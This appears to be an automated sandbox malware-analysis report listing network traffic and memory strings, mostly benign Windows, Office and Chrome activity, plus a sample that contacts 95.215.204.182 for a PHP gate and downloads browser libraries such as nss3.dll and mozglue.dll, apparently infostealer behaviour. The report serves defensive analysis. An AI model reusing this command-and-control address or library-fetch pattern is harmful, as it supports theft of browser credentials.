Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NWXVxHxY+57Vohm&MD=L5AwcdeN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.204.182Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/sqlite3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/freebl3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/mozglue.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/msvcp140.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/nss3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/softokn3.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dcace648038981df/vcruntime140.dll HTTP/1.1Host: 95.215.204.182Cache-Control: no-cache

Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2364334375.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2364534716.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2364204143.00004BF800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.2364334375.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2364534716.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2364204143.00004BF800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900C4F3X-BM-CBT: 1696488253X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581DX-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900C4F3X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 516Connection: Keep-AliveCache-Control: no-cacheCookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71

Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745400748.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.php
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.php-fulluser-l1-1-0
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.php-minuser-l1-1-0m
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.php4
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.php=----GDGDHJJDGHCAAAKEHIJKen
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.phpL
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.phpirefox
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.phpq
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.phprowser
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/4d3324bde875e159.phpw
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/dcace648038981df/freebl3.dll
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/dcace648038981df/freebl3.dllA$1
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/dcace648038981df/freebl3.dllHAl1
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/dcace648038981df/mozglue.dll
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.204.182/dcace648038981df/mozglue.dll8
